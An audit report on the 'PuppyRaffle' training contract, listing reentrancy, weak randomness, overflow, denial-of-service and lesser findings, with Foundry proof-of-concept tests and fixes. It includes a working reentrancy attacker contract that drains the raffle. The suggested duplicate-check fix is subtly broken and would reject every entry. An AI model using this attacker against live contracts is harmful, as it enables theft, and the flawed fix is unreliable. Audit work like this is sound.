Puppy Raffle Audit Report

Version 1.0

L.Petroulakis

February 24, 2024

Protocol Audit Report

L.Petroulakis

February 23, 2024

Prepared by: L.Petroulakis Lead Security Researcher: - L.Petroulakis

Table of Contents

    - [M-1] Looping through the players array while checking for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, greatly increasing the gas cost for future entrants.
    - [M-2] Smart Contract wallets that win the raffle but do not have a `receive` or `fallback` function will block the start of a new contest
  - Low
    - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for both non-existent players and for players are index 0, causing players at index 0 thinking incorrectly that they have not entered the raffle.
  - Gas
    - [G-1] Unchanged state variables should be declared constant or immutable.
    - [G-2] Storage variables in loops should be cached
  - Informational
    - [I-1] Solidity pragma should be specific, not floating/wide
    - [I-2] Solidity version is outdated, this is not recommended.
    - [I-3] Missing checks for `address(0)` when assigning values to address state variables
    - [I-4] `PuppyRaffle::selectWinner` does not follow CEI
    - [I-5] The use of “magic” numbers in the code is not recommended.
    - [I-6] State changes are missing events
    - [I-7] `PuppyRaffle::_isActivePlayer` is not used and should be removed as dead code.

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

An effort was made to find as many vulnerabilities in the code in the given time period, but no responsibilities are held for the findings provided in this document. A security audit is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The finding described in this document correspond to the following commit hash : - Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope:

```
./src/
 PuppyRaffle.sol
```

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

- Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

This was a fantastic, intentionally badly written contract by Cyfrin's Patrick. It was a great learning experience and it revealed some very interesting vulnerabilities.

Issues found

Severity	Issues Found
High	3
Medium	2
Low	1
Gas	2
Info	7
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain contract balance

Description: The `PuppyRaffle::refund` function does not follow [CEI] and thus enables participants to drain the contract balance to zero.

In the `PuppyRaffle::refund` function, first an external call is made to the `msg.sender` address, and only after that external call, the `players` array is updated.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

@>  payable(msg.sender).sendValue(entranceFee);

@>  players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
}
```

A player who has entered the raffle could have a `fallback` or `receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue to cycle this until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious attacker.

Proof of Concept:

1. Users enters the raffle.
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their contract, draining the contract balance.

Proof of Code:

Code

Add the following code to the `PuppyRaffleTest.t.sol` file.

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(address _puppyRaffle) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    fallback() external payable {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }
}

function testReentrance() public playersEntered {
    ReentrancyAttacker attacker = new ReentrancyAttacker(address(puppyRaffle));
    vm.deal(address(attacker), 1e18);
    uint256 startingAttackerBalance = address(attacker).balance;
    uint256 startingContractBalance = address(puppyRaffle).balance;

    attacker.attack();

    uint256 endingAttackerBalance = address(attacker).balance;
    uint256 endingContractBalance = address(puppyRaffle).balance;
    assertEq(endingAttackerBalance, startingAttackerBalance + startingContractBalance);
    assertEq(endingContractBalance, 0);
}
```

Recommended Mitigation: To fix this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, the emission of the event should be moved up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        (bool success,) = msg.sender.call{value: entranceFee}("");
        require(success, "PuppyRaffle: Failed to refund player");
-        players[playerIndex] = address(0);
-        emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to choose winner

Description: Hashing `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable final number. This does not constitute proper randomness. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact: A user can attack the contract and choose the winner of the raffle, winning the money and selecting the rarest NFT, essentially making it such that all puppies have the same rarity, since you can choose the one you want.

Proof of Concept:

There are a few attack vectors here.

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when / how to participate. See the solidity blog on prevrandao here. `block.difficulty` was recently replaced with `prevrandao`.
2. Users can manipulate the `msg.sender` value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees, and there is unsafe casting of a uint64 for the `totalFees` variable

Description: In Solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// myVar will be 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We first conclude a raffle of 4 players to collect some fees. 2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof Of Code

Place this into the `PuppyRaffleTest.t.sol` file.

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Medium

[M-1] Looping through the players array while checking for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, greatly increasing the gas cost for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `players` array is, the more checks a new player has to make. This means that the cost for players who enter first is immensely lower than the ones who enter the raffle later, as every additional address in the `players` array is an additional check that has to be made by the player entering.

```
@>  // @audit this may be a DoS vulnerability if the array can get too large
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

Impact: The gas cost for entrants will increasingly get bigger as more players enter the raffle. This will be discouraging to potential entrants and will make the raffle less attractive for those who did not rush to participate.

An attack might make the `PuppyRaffle::players` array grow to a size that is prohibitive to new entrants, guaranteeing themselves a win.

Proof of Concept:

If we enter two sets of 100 players each, the gas costs are as follows: - 1st set: ~6252048 gas - 2nd set: ~18068138 gas

This is almost a 3x increase in gas costs for the second set of players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`:

```
function test_DoS() public {
        vm.txGasPrice(1);

        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedForFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas used for first 100 players: ", gasUsedForFirst);

        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(playersTwo);
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedForSecond = (gasStartSecond - gasEndSecond) * tx.gasprice;
        console.log("Gas used for second 100 players: ", gasUsedForSecond);

        assert(gasUsedForSecond > gasUsedForFirst);
    }
```

Recommended Mitigation: There are two considerations for mitigations.

1. You might want to consider allowing duplicates. Users can create new wallets to enter anyway, and the duplicate does not truly prevent a user from entering twice.
2. Consider using a mapping instead of an array to check for duplicates. There will be constant time lookup of duplicate players.

Possible Mitigation

```
+     mapping(address => uint256) public addressToRaffleId;
+     uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-        // Check for duplicates
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+          require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+       }
-        for (uint256 i = 0; i < players.length; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-            }
-        }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Smart Contract wallets that win the raffle but do not have a `receive` or `fallback` function will block the start of a new contest

Description The `PuppyRaffle::selectWinner` function will fail if the winner does not have a `receive` or `fallback` function because their wallet will reject the transaction.

Users might call the `selectWinner` function and non-wallet users could enter, but that would cost a lot of gas due to the check for duplicates.

Impact The `PuppyRaffle::selectWinner` function will revert many times, severely disrupting the reset. The winner will not get paid, and will probably lose their assets to others.

Proof of Concept

1. 10 users whose smart contract wallets have no receive or fallback functions enter the raffle.
2. The raffle ends.
3. The `PuppyRaffle::selectWinner` function is called but does not work.

Recommended Mitigation

1. Do not allow smart contract wallets to enter the raffle. This is not recommended as it would limit the user base.
2. Create a mapping of addresses => payout amounts so that winners can pull their earnings out themselves and claim their prizes. For instance, use a new `claimPrize` function.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for both non-existent players and for players are index 0, causing players at index 0 thinking incorrectly that they have not entered the raffle.

Description: If a player is at index 0, the `PuppyRaffle::getActivePlayerIndex` function will return 0, which is the same value that is returned if the player does not exist in the `players` array.

```
function getActivePlayerIndex(address player) public view returns (
    uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    return 0;
}
```

Impact: A player at index 0 will think they have not entered the raffle and will attempt to reenter, wasting gas.

Proof of Concept: 1. user enters the raffle as the first one 2. user calls `getActivePlayerIndex` and gets 0 3. user thinks they have not entered the raffle and attempts to reenter

Recommended Mitigation: The easiest recommendation is to make so it reverts when the player is not in the array instead of returning 0.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage costs much more than reading from a constant or immutable variable.

Instances:

- `PuppyRaffle::entranceFee` should be declared `immutable` as it is not changed after the contract is deployed.
- `PuppyRaffle::raffleDuration` should be declared `immutable` as it is not changed after the contract is deployed.
- `PuppyRaffle::commonImageUri` should be declared `constant`.
- `PuppyRaffle::rareImageUri` should be declared `constant`.
- `PuppyRaffle::legendaryImageUri` should be declared `constant`.

[G-2] Storage variables in loops should be cached

Everytime you call `players.length` in the loop, it costs more gas because you read from storage. You should cache the length of the array before the loop.

```
+           uint256 playerLength = players.length;
-           for (uint256 i = 0; i < players.length - 1; i++) {
+           for (uint256 i = 0; i < playerLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playerLength; j++) {
               require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

Informational

[I-1] Solidity pragma should be specific, not floating/wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2] Solidity version is outdated, this is not recommended.

Consider using a newer version of Solidity like `0.8.19`.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 62

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 157

```
        previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 178

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+       (bool success,) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] The use of "magic" numbers in the code is not recommended.

Seeing literal numbers in a code is confusing and creates clutter. It is better to define such numbers with a name.

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` is not used and should be removed as dead code.